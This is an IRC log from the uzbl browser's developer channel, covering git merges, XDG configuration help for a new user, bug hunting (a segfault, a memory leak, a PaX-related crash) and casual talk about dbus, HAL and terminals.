15:57 < helmut> rob|: ah. so now I should branch your master branch and merge?
15:58 < rob|> well, i'd say merge it against your experimental (as i keep my master in sync with dieter's exp.)
15:58 < rob|> resolve possible conflicts and then i'll pull from you
15:58 < rob|> to have all the fine patches you wrote available
16:00 < Dieterbe_> rob|: don't forget to update the authors file during/after merging from anyone ;)
16:01 < rob|> Dieterbe_: yeah, will do
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16:17 < mason-l> helmut, I know you mentioned earlier that you hate Adobe-Flash and I'm not sure if these screencasts work in gnash but you would like a video introduction to git I've been enjoying this series: http://www.gitcasts.com/posts/setup-initialization-and-cloning (<- the first episode)
16:17 < mason-l> 'but if you
16:22 < adminjs> hi guys
16:22 < adminjs> i have a problem wwith the default examples
16:22 < scj> speaking of git, this was posted on proggit the other day http://progit.org/book/
16:22 < scj> haven't looked at it, though
16:23 < mason-l> scj, proggit == programming sub-reddit?
16:23 < scj> yes
16:23 < mason-l> :D
16:23 < adminjs> where do i copy them to have no probs with path etc.
16:26 < uranther> adminjs, http://www.uzbl.org/faq.php The first question will get you started
16:26 < lwithers> adminjs: make sure that XDG_CONFIG_HOME and XDG_DATA_HOME environment variables are set
16:27 < uranther> did you all see that email to the mailing list about uzbl on Windows?
16:27 < lwithers> uranther: yes, I read it
16:27 < uranther> I wonder how hard it would be to do that
16:28 < uranther> is libsoup portable? I'm sure webkitgtk is..
16:28 < adminjs> i've set them but they are being ignored
16:28 < lwithers> adminjs: are you sure they're set in whatever environment uzbl is being run in?
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16:29 < lwithers> if you just set them in a shell they won't apply if you launch uzbl outside that shell (e.g. through window manager)
16:29 < lwithers> uranther: well I'm pretty sure windows doesn't implement Unix sockets :)
16:30 < mason-l> scj, And what an excellent introduction that http://progit.org/book/ is. I'm just reading through some of the chapters now.
16:30 < uranther> lwithers, hm good point :P that could be disabled though
16:30 < lwithers> oh I bookmarked that, was on LWN
16:30 < adminjs> hm XDG_CONFIG_HOME = set to the config file direct or to a directory?
16:31 < lwithers> lwithers@rhodium ~ $ echo $XDG_CONFIG_HOME
16:31 < lwithers> /home/lwithers/.config
16:31 < mason-l> adminjs, You should check out what XDG is and what it isnt: http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
16:32 < lwithers> at least under Gentoo there doesn't seem to be anything to automatically set XDG_CONFIG_HOME so I just set it up in /etc/profile.d on my systems
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16:34 < mason-l> lwithers, I still haven't set up XDG correctly on my system, care to share what you added into /etc/profile.d/ (I'm on gentoo also)
16:35 < lwithers> mason-l: sure, sec (it's pretty trivial:)
16:35 < adminjs> ok got it but get this error /home/adminjs/.config/uzbl/data/uzbl/scripts/cookies.py
16:35 < adminjs> path=sys.argv[11],
16:36 < mason-l> adminjs, Which version of git are you using?
16:36 < lwithers> mason-l: http://paste2.org/p/347383
16:36 < mason-l> adminjs, Was that an IndexError ?
16:36 < adminjs> IndexError: list index out of range
16:36 < scj> shouldn't it be $HOME/.config/uzbl/scripts/cookies.py
16:37 < lwithers> scj: that would be better, but an absolute path would work anyway :)
16:37 < scj> lwithers: of course, but I was just thinking that some scripts may make some assumptions and that there might be trouble down the road
16:38 < mason-l> lwithers, By sheer magic XDG now works ;)
16:40 < mason-l> Feature request: time in milliseconds how long each spawn takes and print that after the spawn command when you turn verbose output on. This will make it easier to identify scripts that need to be improved upon.
16:42 < adminjs> git   4.9.4-1
16:43 < mason-l> adminjs, Oh sorry, my mistake. I meant to ask what version of uzbl you are currently running?
16:43 < mason-l> adminjs, Did you check it out recently?
16:43 < scj> mason-l: could be easily done with a test script
16:43 < adminjs>  0.0~git.20090609-1
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16:44 < mason-l> adminjs, Run uzbl -V
16:44 < mason-l> And grab the commit sha-1
16:44 < adminjs> i pulled it from deb http://www.thehappy.de/debian/ ./   and strangely no /usr/share/*  examples where included
16:44 < mason-l> Ohhh, a third-party package of uzbl.
16:45 < mason-l> I wholly recommend following the uzbl get guide: http://www.uzbl.org/get.php
16:47 < adminjs> ok but still unclear to what exactly set the XDG var ant then where exactly each example should be i think an axample would clarify
16:47 < adminjs> and help me and others
16:47 < lwithers> adminjs: look at that pastebin I guess: //paste2.org/p/347383
16:48 < mason-l> adminjs, When you run: "echo $XDG_CONFIG_HOME" do you see something similar to "/home/<username>/.config" output?
16:48 < lwithers> I just made it after reading the first page that comes up when you google XDG_CONFIG_HOME
16:49 < mason-l> adminjs, The _only_ two XDG variables uzbl and some scripts use are the $XDG_DATA_HOME and $XDG_CONFIG_HOME if you have both of them then you need not touch anything.
16:51 < lwithers> I think maybe uzbl should be improved so that if those two are unset, it uses the recommended defaults
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16:52 < mason-l> lwithers, I made the changes to the external cookies.py when I first came here to do exactly that, I'm surprised uzbl doesn't do that already.
16:52 < adminjs> XDG_DATA_HOME=/home/adminjs/.config/uzbl/data
16:52 < adminjs> XDG_CONFIG_HOME=/home/adminjs/.config
16:52 < adminjs> XDG_DATA_DIRS=/usr/share:/usr/share:/usr/local/share
16:53 < mason-l> "<adminjs> XDG_DATA_HOME=/home/adminjs/.config/uzbl/data" <- thats a bit weird?
16:53 < lwithers> mason-l: no, I don't think it does, I'll check when I get home
16:53 < lwithers> recommended is XDG_DATA_HOME=/home/adminjs/.local/share/uzbl/data
16:54 < mason-l> adminjs, XDG_DATA_HOME should equal /home/adminjs/.config
16:54 < lwithers> oh yes, hadn't spotted that, so XDG_DATA_HOME=/home/adminjs/.local/share
16:55 < lwithers> and XDG_CONFIG_HOME=/home/adminjs/.config
16:55 < mason-l> Ah I mean  XDG_DATA_HOME should equal /home/adminjs/.local/share
16:56 < mason-l> adminjs, Just copy http://paste2.org/p/347383 exactly
16:56 < adminjs> aha and how shoul be the data struct under /home/adminjs/.local/share
16:58 < mason-l> Your cookies.py will eventually live here: /home/adminjs/.local/share/uzbl/scripts/cookies.py
16:58 < mason-l> And every other script (in the default config) lives in /home/adminjs/.local/share/uzbl/scripts also
16:59 < mason-l> adminjs, But as you mentioned earlier you installed a packaged version of uzbl, you need to grab the "real" version (with sample scripts included) from http://www.uzbl.org/get.php
17:06 < adminjs> got it now
17:06 < adminjs> but still the index error in cookie
17:07 < mason-l> adminjs, run uzbl -V
17:07 < mason-l> And grab the commit version for us
17:09 < adminjs> doesn't work it ssstartts uzbl
17:10 < mason-l> Are you sure you installed the latest version using the guide on http://www.uzbl.org/get.php ?
17:10 < mason-l> Did you un-install the package version first before running "make; sudo make install" in the uzbl repo
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17:10 < adminjs> no as i said i pulled it from deb http://www.thehappy.de/debian/
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17:12 < mason-l> adminjs, That uzbl snapshot is over 45 days old.
17:12 < adminjs> ooohhhh holy crap
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17:13 < adminjs> ok will pull the git version
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17:14 < mason-l> adminjs, I'm not being nasty and I'm not saying that version of git is unsupported its just Very Likely that someone has already fixed that bug or whatever was causing your problems .. since then.
17:17 < adminjs> no it was just me
17:21 < adminjs> uzbl.c:2763: warning: implicit declaration of function ‘gtk_main’
17:21 < adminjs> what pkg do i need to fulfil that dep
17:22 < mason-l> gtk 2.14 or higher, libsoup 2.24 or higher (dep for webkit/gtk+), libwebkit 1.1.4 or higher, pkgconfig (for Make/gcc)
17:23 < adminjs> thanks
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17:25 < mason-l> ... Bye.
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18:07 < bct> emacs is getting dbus support? how curious.
18:09 < lwithers> bct: interesting. do you have a link?
18:11 < bct> http://emacs-fu.blogspot.com/2009/01/using-d-bus-example.html
18:12 < lwithers> I've never actually investigated dbus, what's the general opinion of it?
18:14 < uranther> I think Dieterbe said it was stupid lol
18:14 < bct> yeah.
18:14 < uranther> it seems ok to me, but I haven't looked much into it
18:14 < bct> some sort of interoperable IPC sounds like a good idea to me, but maybe the spec is totally screwy
18:16 < lwithers> Dieterbe_: your opinion please? :)
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18:16 < lwithers> I like the concept of a systemwide IPC bus, but as bct says it's really down to how well they defined the API and did the implementation
18:18 < bct> the only dbus stuff i've really used is avahi and libnotify.
18:18 < bct> both seem to work ok.
18:23 < L29Ah> as for me, dbus is a poor user-unfriendly 9p clone
18:25 < lwithers> I'm not sure I care about the user-friendliness of a system IPC bus... I'm more worried about (a)whether it's a good tool to build on and (b)whether it's going to be accepted by the majority of distros
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18:41 < scj> both qt4 and gnome use it, so I guess that means most distros will
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18:55 < errno> i have a problem with the VIM scroll percentage script: it only updates the status_message if i use one of the binds to zoom in/out/100%, any ideas?
18:59 < Deepspawn> lwithers Most distros are already using dbus. Especially for HAL + DBUS
19:00 < lwithers> right, but it seems HAL is going away (thank goodness), and I wondered as to the longevity of dbus?
19:00 < lwithers> from what I am hearing it seems to be established, unlike HAL
19:01 < Deepspawn> lwithers, oh the hal fading away is news for me. From what I have seen usage has been increasing with time
19:01 < Deepspawn> dbus usage I mean
19:01 < lwithers> Deepspawn: I believe the intention is to replace HAL with DeviceKit
19:02 < lwithers> but DeviceKit also runs over DBUS
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19:43 < Dieterbe_> lwithers, uranther : dbus is quite common in the mainstream desktop world.  i personally don't know why i would need it, and hence, haven't really looked up the specifics yet, so i'm kinda opinionless.  i'm seem to get along well without it
19:47 < uranther> I see :>
19:48 < DuClare> http://lists.gnu.org/archive/html/emacs-devel/2009-07/msg00344.html
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19:50 < bct> what's wrong with hal?
19:51 < bct> all i know about it is that it keeps dumping a dotfile in my /media directory which screws up my mount.
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20:02 < DuClare> http://lists.gnu.org/archive/html/emacs-devel/2009-07/msg00411.html
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20:04 < lwithers> bct: it tries to be a "hardware abstraction layer" when the kernel's already doing that -- i.e. lots of duplicated functionality
20:05 < lwithers> it also duplicates udev functionality
20:05 < lwithers> AIUI DeviceKit works with udev rather than against it; DeviceKit is supposed to be much lighter-weight
20:05 < lwithers> it's also not linux-specific, unlike HAL
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20:17 < uranther> DuClare, oh cool :)
20:20 < bct> i'm amazed by how much & how fast uzbl got attention
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20:40 < rob|> bct: indeed. probably because it is so very different compared to the other browsers around
20:43 < bct> yeah, it's a niche that needed to be filled
20:46 < rob|> uuh, is bbs.arch down?
20:46 < DuClare> http://lists.gnu.org/archive/html/emacs-devel/2009-07/msg01153.html
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20:52 < helmut> rob|: could we follow up on the merging?
20:52 < helmut> rob|: I'm not quite sure against what I should be merging stuff now.
20:53 < helmut> rob|: what I did is I took the experimental branch from Dieter and merged my changes into that branch as a new branch helmutexp.
20:54 < helmut> rob|: is this what you wanted?
20:56 < rob|> helmut: well, that's quite ok but might still produce conflicts when merging with my branch
20:57 < rob|> helmut: as my master is usually more bleeding edge than diet's experimental it would be good if you'd merge against it
20:59 < helmut> rob|: could you use other grammer for merging? I still don't know what to merge into what branch.
21:00 < helmut> rob|: i.e. what to checkout and what to merge?
21:00 < helmut> (developing c seems to be much easier that using git %-)
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21:05 < rob|> helmut: yeah, git can be quite a bitch. by merge i mean 'git pull' from my master branch
21:05 < rob|> off for a couple of mins, bbl
21:05 < helmut> I can wait
21:05 < DuClare> Enjoy. :]
21:06  * helmut starts to think that something like doxygen/javadoc comments could help uzbl a lot.
21:10 < helmut> can someone tell me what parseenv is supposed to do? in any case it looks like a hack.
21:15 < Dieterbe_> well, it dates from the very early days, where everything was a hack :)
21:15 < Dieterbe_> i don't even remember what it's for
21:16 < helmut> it's used in set_var and act_bind
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21:24 < rob|> re
21:26 < rob|> helmut: re. parseenv(), it replaces environment variables with their contents
21:26 < rob|> i was never a fan of that functionality, though
21:27 < rob|> especially now with expand it's quite useless
21:29 < helmut>     if(*uzbl.net.proxy_url == ' '
21:29 < helmut>        || uzbl.net.proxy_url == NULL) {
21:29 < helmut> who coded this crap???
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21:30 < lwithers> helmut: git blame :P
21:32 < bct> haha, ouch
21:34 < helmut> cmd_useragent only looks better, it isn't.
21:36 < helmut> well maybe it is. then I don't understand it.
21:36 < helmut> in any case it cannot be invoked twice
21:37  * rob| blames the wine..
21:38 < lwithers> could somebody post me their uzbl/.git/config ? trying to understand how to use it to merge others' branches properly
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21:39 < bct> yeah, that first clause maybe doesn't need to be there.
21:39 < bct> somebody should write test cases so that we can rework these things
21:39 < bct> :3
21:40 < helmut> bct: good point. please include a test case that sets javascript code for the history_handler
21:40 < helmut> (this makes uzbl segfault btw)
21:50 < bct> fun stuff.
21:51 < helmut> uhhhm. find_xdg_file looks leaky.
21:51 < helmut> (this will all be summed up in commits)
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22:18 < helmut> rob|: I got this committed now. the interesting things are the memory leak and the null pointer dereference
22:20 < rob|> ok, can you pull my master and see if there are any conflicts?
22:20 < rob|> s/if/wether/
22:22 < helmut> rob|: quite a bit conflicts
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22:25 < rob|> yeah, i suspected that
22:25 < helmut> ok. now you want it exported?
22:25 < helmut> your master with my stuff on top is named robmaster
22:26 < rob|> exported? one of us needs to fix the conflicts first
22:26 < helmut> I did
22:26 < rob|> ah, then just git push
22:26 < helmut> err it isn't named robmaster but robhelmut
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22:27 < helmut> see if you can use it
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22:27 < rob|> ok, let me try
22:28 < rob|> hrmm strange, git says it's already up to date
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22:29 < rob|> did you actually push and not just commit?
22:29 < helmut> good question
22:29 < DuClare> Did you actually commit and not just push?
22:29 < helmut> when I do git log it doesn't include my commits
22:30 < helmut> ahh. wrong branch :-(
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22:32 < helmut> rob|: could you try again?
22:33 < rob|> alright, this time it worked :)
22:33 < helmut> I just mixed up branches
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22:35 < rob|> hmm, i get a couple of compiler errors, though
22:35 < DuClare> Branches make a good soup?  I'd throw in a few roots and some leaves for an improved flavour.. Hmm..
22:35 < helmut> rob|: ack
22:35 < helmut> rob|: that results from new code being added after void**ptr conversion.
22:36 < helmut> I'll fix that
22:37 < rob|> ok
22:37 < rob|> uzbl.c:1911: error: incompatible types when assigning to type 'union <anonymous>' from type 'void *'
22:37 < rob|> uzbl.c:1912: error: invalid type argument of 'unary *' (have 'union <anonymous>')
22:37 < rob|> this ones looks quite bad
22:37 < helmut> rob|: done
22:38 < helmut> rob|: It's just that I converted this void**ptr to a union the type for ptr changed, that explains the error.
22:39 < rob|> yeah
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22:39 < rob|> ok, besides some warnings it seems to build cleanly
22:40 < helmut> rob|: the warnings result from gcc is now able to check types.
22:41 < rob|> did you remove some casts to gpointer?
22:42 < helmut> I did not change gpointers.
22:42 < helmut> (because I don't know what they are)
22:44 < bct> oh, a union. why didn't i think of that.
22:44 < bct> that's way cleaner.
22:45 < helmut> rob|: but I did one thing wrong with the n2v_p...
22:46 < helmut> rob|: fixed
22:47 < helmut> bct: clean is a word that mostly does not apply to uzbl
22:51 < rob|> helmut: ok, builds without warnings
22:51 < rob|> nice job
22:51 < helmut> could you get my segfault fixed in turn? ;-)
22:51 < lwithers> helmut: backtrace?
22:52 < helmut> lwithers: competely outside uzbl.c
22:52 < lwithers> ah :(
22:53 < helmut> lwithers: you can reproduce by: checkout master, take the sample config and set the history_handler to js alert("hi");
22:53 < helmut> lwithers: then start it using XDG_* set to the repo
22:55 < lwithers> yep, I can reproduce it; nope, I have no idea how to fix it :(
22:56 < lwithers> since I appear to have the lib in question compiled with debugging turned on
22:56 < lwithers> would anybody like me to upload a 'bt full' somewhere?
22:56 < helmut> yes
22:57 < helmut> I don't have enought disk space to install all those debugging packages.
22:58 < lwithers> yeah I'm running gentoo with FEATURES="nostrip" so guess I've got some basic debug info there
22:58 < rob|> ok helmut, applied and pushed
22:58 < lwithers> just trying to remember how make gdb record its output to a file
22:59 < rob|> let's see when dieter will merge all this stuff :)
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23:05 < lwithers> http://pastebin.ca/1511477      <-- bt full output
23:06 < lwithers> I can potentially recompile webkit-gtk et al with more debugging options if it turns out to be needed, have the disk+processor for that
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23:06 < helmut> thanks
23:08 < helmut> this should be reported as a bug, right?
23:10 < lwithers> yeah, guess so
23:10 < helmut> ok. doing so
23:13 < bct> lwithers, do you have USE=debug too?
23:14 < helmut> done
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23:29 < lwithers> bct: no
23:29 < lwithers> however, I can compile with USE=debug if need be
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23:36 < bct> just curious, i've never managed to do it successfully.
23:38 < lwithers> oh right, was that the running out of RAM problem?
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00:23 < bct> and even when i have nostrip and nosplit on i don't always get good webkit backtraces. dunno why.
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09:03 < jpic> hi, anyone got uzbl to run in an Xvfb session? i have this issue: DISPLAY=":1" uzbl -u http://google.com http://google.com
09:03 < jpic> Xlib:  extension "RANDR" missing on display ":1.0".
09:03 < jpic> Killed
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09:06 < holizz> jpic, fb? Is that X for the framebuffer?
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09:13 < MichaelRaskin> virtual framebuffer
09:16 < holizz> I imagine that wouldn't have RANDR available, but that shouldn't cause it to die. I've run uzbl over SSH (which also tends not to have RANDR) and that worked fine.
09:17 < holizz> jpic, Can you provide some sort of backtrace with gdb or something? Using -v would be helpful too.
09:19 < rob|> morning.
09:21 < holizz> Hallo.
09:22 < holizz> I'm well in England again. I only spent 22 hours in Berlin, but it felt like longer.
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09:29 < jpic> No configuration file loaded.
09:29 < jpic> Killed
09:29 < jpic> i though it would just work without any configuration file? just to open the page
09:30 < holizz> Yeah, it should work with no configuration.
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09:31 < jpic> then this is the full output http://nopaste.com/p/asv9CbABL
09:32 < jpic> my bad that's a grsec issue
09:33 < jpic> actually an Xvfb segfault
09:33 < jpic> apparently uzbl does anonymous mapping?
09:34 < jpic> http://nopaste.com/p/a9mXHzuYv is it normal?
09:38 < rob|> jpic: hmm, can you try to clone git://github.com/robm/uzbl.git (master branch) and check wether this still happens?
09:41 < Dieterbe_> hello all=
09:41 < rob|> hey Dieter
09:42 < holizz> Guten Morgen.
09:43 < rob|> Still gestanden! Präsentiert die Tastatur!
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09:50 < jpic> rob|: yes, it still happens: http://nopaste.com/p/aMlgBT9sqb
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09:51 < rob|> hmm
09:53 < rob|> jpic: http://forums.gentoo.org/viewtopic-p-5759801.html
09:53 < rob|> might help
09:56 < jpic> i know i can do that
09:57 < jpic> thanks for answering ...
09:57 < jpic> by "that" i mean play with pax flags ..
09:59 < jayzer> is it possible to customize the colors and font on the non-gtk tabs in uzbl_tabbed?
10:00 < jpic> rob|: MPROTECT caused the crash, thanks
10:00 < jpic> those work: PaX flags: P-S--mX-E-R- [/usr/bin/uzbl]
10:00 < rob|> jpic: sure thing, though what calls mprotect?
10:02 < jpic> i though that was an option to protect the kernel from anonymous mappings
10:02 < jpic> so i don't get what you mean "call mprotect"
10:02 < rob|> jpic: oh, one more request could you evetually sum this up in a couple of lines and post it to the wiki?
10:03 < jpic> i though that anonymous mappings were a security liability but ok ....
10:03 < rob|> jpic: well, man mprotect.
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10:15 < jpic> done!
10:20 < mason-l> Hey guys
10:21 < mason-l> jayzer, Not currently. I'm working on adding that functionality.
10:21 < mason-l> I haven't explored the gtk tab theming options yet.
10:21 < mason-l> I still don't know if its feasible to theme them to look like the current tablist.
10:24 < rob|> mason-l: did you try to move the config parser to custom vars, yet?
10:24 < mason-l> rob|, Does the functionality exist now?
10:24 < rob|> yes, it does. in my master branch
10:25 < rob|> and it seems to work reliably
10:25 < mason-l> Well to answer your question then, I haven't.
10:25 < mason-l> But I shall endeavor to check it out.
10:26 < mason-l> I am re-implementing the "smalltab" option to have a small [ 0 1 2 3 4 5 ] tablist in the status_message again and that can now be built on the custom vars functionality.
10:26 < rob|> right, note there is also an "update_gui" command that will refresh the status/title contents on request
10:26 < mason-l> But theres no reason I cant save some information about the currently running uzbl_tabbed in each client so that other external scripts can look those up
10:26 < mason-l> Nice :D
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10:29 < rob|> the cool thing is that you can theme uzbl_tabbed at runtime and even have different themes per tab
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10:34 < mason-l> Thats what I need to do!
10:34 < mason-l> I need to allow users to pass their own custom config files to uzbl_tabbed
10:34 < jayzer> mason-l: cool
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10:35 < mason-l> That functionality could be helpful in the future (as the only conflicting option is the fifo & socket dirs and the status_background)
10:37 < mason-l> I mean: as the only conflicting config options _at present_ are
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11:05 < mason-l> holizz, With a broken pipe error?
11:05 < mason-l> Thats the only error I've come across.
11:06 < mason-l> Infact the daemon I started 2 days ago I think is still running fine.
11:06  * mason-l checks
11:07 < holizz> mason-l, I don't know what error it was, as I wasn't logging the output. But it was working earlier, and then I signed into Flickr in one window and refreshed another, and realised it wasn't working.
11:08 < mason-l> holizz, Is it reproducible browsing on Flickr?
11:08 < holizz> I doubt it was Flickr, but I'll check.
11:09 < mason-l> I need to build into the script the start, stop, restart commands.
11:09 < mason-l> Its difficult to stop a daemon otherwise
11:10 < holizz> mason-l, Indeed. And you could do with handling SIGTERM nicely - it seems you need to kill it with SIGINT otherwise it leaves the socket in the FS.
11:11 < mason-l> holizz, Incorrect. I'm handling SIGTERM correctly and SIGINT. I'm not handling SIGKILL because thats apparently impossible.
11:11 < mason-l> SIGINT in python raises the KeyboardInterrupt error
11:13 < mason-l> I performed numerous tests checking that SIGTERM actually removed the cookie_socket and they all appeared to work on my system.
11:15 < holizz> When I kill it with SIGTERM it always leaves the socket.
11:15 < mason-l> Do you have my latest cookie_daemon?
11:15 < mason-l> Check if you have "signal(SIGTERM, lambda signum, stack_frame: sys.exit(1))" on line 126
11:16 < holizz> Aha.
11:17 < mason-l> :)
11:18 < mason-l> holizz, Would you like a download link or have you got my repo in git remote?
11:18 < holizz> You're a remote.
11:19 < mason-l> Remotes make everything so much easier.
11:19 < mason-l> Do you use git gui, gitk or gitg very often?
11:20 < holizz> I prefer tig. And I use it all the time - I like to take a look at the bigger picture, see where the HEAD is in relation to all the branches.
11:21 < mason-l> Ah yes thats right, I installed tig on your recommendation and liked it.
11:21 < mason-l> Muscle memory told me to still use gitg though.
11:22 < holizz> The subway map in tig isn't the greatest (being one-coloured ascii), so sometimes I use gitk to work out where all the branches are going.
11:23 < holizz> I'm sure the subway map has a proper name, I just don't know what it is.
11:25 < mason-l> Did you have a good time in berlin?
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11:26 < holizz> I did, yeah, it was so much fun.
11:26 < mason-l> Nice :)
11:26 < mason-l> I've never been outside of Australia
11:27 < holizz> I didn't do much, just went to a restaurant after my interview, then wandered around Mitte and a little of Tiergarten yesterday morning before the Deuches Historiches Museum opened and spent a couple of hours in there and then went back to the airport.
11:27 < mason-l> Do you feel you did well in your interview?
11:27 < mason-l> Did you plug uzbl at all? :P
11:28 < holizz> Yeah, I think it went quite well.
11:28 < holizz> And yes. They asked me what I'd been working on lately. So I explained about uzbl.
11:28 < mason-l> What were their reactions to the browser?
11:29 < mason-l> Were the interviewers managers or programmers themselves?
11:30 < holizz> They were asking if it ran on OS X. I said I think so, but they wanted to know if it was native or in X.
11:30 < holizz> I was talking to a developer and the CTO. So yeah, technical people.
11:31 < mason-l> Cool :)
11:31 < mason-l> ruskie, You might be able to help me.
11:35 < ruskie> L
11:35 < ruskie> ?
11:35 < ruskie> with?
11:36 < mason-l> I'm trying to get scrolling working in urxvt
11:36 < ruskie> erm?
11:36 < ruskie> scrolling?
11:36 < ruskie> shift+pgup/pgdn ?
11:37 < mason-l> I can scroll with the scroll wheel normally in the terminal however when I enter ncurses apps like less or git log when I use the scroll wheel it scrolls the normal buffer not the ncurses app
11:37 < Dieterbe> holizz: which company did you apply at?
11:37 < ruskie> mason-l, that's normal from what I know
11:37 < ruskie> git log uses less iirc
11:37 < ruskie> pgup/pgdn should work in those
11:38 < mason-l> Yeah pgup and pgdn work in less in urxvt.
11:38 < mason-l> Any idea how to make the scroll-wheel work in the same manner?
11:39 < ruskie> nope
11:39 < ruskie> and web searching doesn't bring up anything as well
11:39 < ruskie> I don't think less supports the mouse
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11:39 < holizz> Dieterbe, Ableton AG. They make some popular DJing software.
11:40 < Dieterbe> ah yeah i know ableton
11:40 < Dieterbe> tried out Live once
11:40 < mason-l> ruskie, Well gnome-terminal converts those scroll-wheel signals into pgup/pgdn's or something thereof. Its probably some specialized *magicery*
11:40 < mason-l> But I'm over gnome-terminal.
11:41 < ruskie> probably something in the vte lib
11:41 < holizz> mason-l, Use sakura. VTE without the bloat of GNOME.
11:43 < ruskie> mason-l, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=476350
11:43 < ruskie> only thing I found so far
11:43 < ruskie> you could try asking in #rxvt-unicode
11:44 < mason-l> ruskie, Yeah I found that mailing-list post.
11:44 < mason-l> Its the x11-libs/vte gnome-specific?
11:44 < mason-l> In the portage description it's tagline is "Gnome terminal widget"
11:45 < ruskie> iirc it's a generic terminal emulator library
11:45 < ruskie> atk fontconfig freetype2 glib2 gtk+2 libx11 pango OPENGL* gtk-doc* pygtk2* <-- what it depends on(the * aro optional)
11:45 < mason-l> x11-libs/vte's use flags: {debug doc glade opengl python}
11:45 < mason-l> A terminal using opengl!?!
11:46 < ruskie> probably just a binding
11:46 < ruskie> I think there is one or two out ther
11:46 < ruskie> e
11:48 < mason-l> I'm going to check out sakura but I'm updating my vte lib first.
11:49 < Dieterbe> i used to have problems with vte, i think it was related to keyboard layout/shortcuts stuff. after lots of googling and founding people with the same issues i said goodbye to it.
11:50 < mason-l> :s
11:50 < Dieterbe> now i use urxvt and never looked back
11:50 < mason-l> I've probably made the right choice initially by going straight to urxvt.
11:50 < ruskie> I'm still hoping mrxvt will get UTF-8 some day(I think it's been 3 or 4 years now since the bug was opened)
11:50 < holizz> mason-l, bzr branch lp:~holizz/sakura/sakura
11:50 < mason-l> I've also created a nice .Xresources file for myself :)
11:55 < rob|> mason-l: imwheel might be what you're looking for. basically it allows to map mouse buttons to key presses
11:56 < holizz> Time to go sign on. Back soon.
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12:12 < metamurks> does anyone has the same problem with uzbl and ocw.mit.edu? uzbl crashes after a few seconds if i try the site
12:13 < rob|> no, works for me. also clicking any links on that site, etc.
12:14 < metamurks> mhm, ok, then i have to check my setup
12:14 < metamurks> thanks
12:15 < rob|> sure thing
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12:32 < mason-l> metamurks, Works for me also. What version of webkit are you using?
12:37 < metamurks> 528.5+//libwebkit 1.1.20-1 (i use the uzbl-git pkgbuild from archlinux aur)
12:37 < mason-l> Well its working fine on my 1.1.10 so that may not be the problem.
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13:06 < scj> doesn't crash for me either
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13:47 < jpic> hi, doesn't uzbl support to connect on another port than 80? if so, how?
13:47 < jpic> my bad!
13:48 < ruskie> lol
13:48 < Dieterbe> :)
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14:09 < holizz> jpic, Sorry about that. I changed the behaviour. So if you just try to open "localhost:8080", it'll parse it as localhost being the protocol. I'm not sure it's ideal, but it's a bit cleaner than what we had before.
14:10 < holizz> Damn. I didn't get the Ableton job.
14:11 < mason-l> :(
14:13 < holizz> Aparently my presentation skills weren't as good as the person who got the job. But how do you practise that?
14:15 < holizz> Sending merge requests is good practice for written presentation skills. But how do I practise my verbal skills?
14:15 < ruskie> lol
14:15 < ruskie> you yell here
14:19 < scj> you join a LUG and hold presentations on stuff, I guess
14:19 < ruskie> http://glimr.rubyforge.org/cake/missile_fleet.html <-- nice
14:21 < holizz> scj, Thanks. Somebody just said the same thing to me on Twitter.
14:24 < scj> i am as smart as someone who uses twitter \o/
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14:26 < holizz> ruskie, I like that.
14:28 < ruskie> I' at lvl 4 I think
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14:40 < rob|> ANNOUNCEMENT, pushed following patches to dieter's experimental:  custom variables, update_gui command, void **ptr to union rewrite, various bugfixes
14:41 < mason-l> oooo
14:41 < uranther> oh someone moved the void **ptr to union?
14:41 < uranther> commit?
14:42 < rob|> just see the commit log on diet's experimental
14:42 < uranther> k
14:51 < uranther> rob|, excellent commits by you and helmut :)
14:52 < helmut> uranther: thanks.
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15:20 < mason-l> rob|, Given that you are able can you cherry-pick that uzbl.c geometry bugfix into Dieterbe's experimental. Here is the commit http://github.com/mason-larobina/uzbl/commit/bf6c9c10d3a9f078e4ee4e24a2e8063f2cfe750b
15:20 < mason-l> This stops a boat-load of errors pouring out of uzbl when in plug/socket mode.
15:21 < Dieterbe> cherry pick? you have a pull request pending for this
15:21 < rob|> mason-l: yeah, i was going to ask you anyways how you're progressing with uzbl_tabbed so we can eventually commit both
15:24 < mason-l> rob|, I would hold off on the uzbl_tabbed.py at the moment. I'm going to add SIGTERM handling and other cleanup techniques I picked up working on the cookie_daemon.py while I have the chance.
15:24 < rob|> ah, alright.
15:24 < mason-l> But I just mentioned doing the cherry picking right now because when I pulled in Dieterbe's experimental I had to manually resolve the conflicts in uzbl.c myself and, well.. I guess I can put up with it for a while.
15:25 < mason-l> Might as well wait for both.
15:28 < helmut> Dieterbe, rob|: do you think documenting functions could be turned into practise for uzbl if someone starts doing so for existing functions? (think of doxygen)
15:29 < Dieterbe> yes this could be a good idea, though i'm not sure how much value it would add, since our code is quite concise
15:30 < mason-l> For people familiar with it that is.
15:30 < helmut> Dieterbe: but has non-written rules for where what data (null pointers?) are accepted.
15:31 < Dieterbe> what?
15:31 < Dieterbe> where's the subject in your sentence? :P
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15:32 < github> uzbl: Robert Manea experimental SHA1-077384e
15:32 < github> fix conflicts
15:32 < github> http://bit.ly/Bf4DV
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15:32 < rob|> mason-l: pushed, thanks
15:33 < helmut> Dieterbe: I meant that it is not clear what requirements functions have.
15:33 < helmut> Dieterbe: Take for instance set_proxy_url from your master.
15:33 < helmut> Dieterbe: It must not be invoked twice without setting uzbl.net.proxy_url in between.
15:33 < mason-l> rob|, OH, EMERGENCY.
15:34 < rob|> helmut: well, with a sane naming of the functions most documentation is quite senseless. i mean why should you document what's already there as code?
15:34 < helmut> Dieterbe: there are similar non-obvious expectations scattered among the code.
15:34 < rob|> mason-l: ?
15:34 < helmut> rob|: yes, but that sane naming isn't given atm
15:35 < mason-l> Oh wait rob| did you fix the spelling in the retrieve_geometry() function in one of your commits?
15:35 < rob|> yes, i did
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15:35 < mason-l> rob|, Cancel emergency then :P
15:35 < rob|> helmut: what's not sane about the names?
15:36 < helmut> rob|: and quite some things cannot be expressed in naming easily, like what is left modified after a failure.
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15:36 < helmut> rob|: set_proxy_url for instance. it clears uzbl.net.proxy_url. I wouldn't expect that from the name,.
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15:36 < rob|> sure, we should definitly use comment *where it makes sense*
15:36 < rob|> +s
15:37 < helmut> you get my point.
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15:37 < helmut> rob|: also knowing where to expect a null pointer is non-obvious.
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15:38 < rob|> ok, so we should comment anything not obvious but not prefix every single function with a block of senseless comments
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15:40 < rob|> those pseudo-stylish comment blocks remind me too much of good old turbo pascal ;)
15:41 < helmut> ok
15:41 < helmut> I'd like to request a comment for parseenv. ;-)
15:41 < rob|> i'd like to get rid of parseenv alltogether..
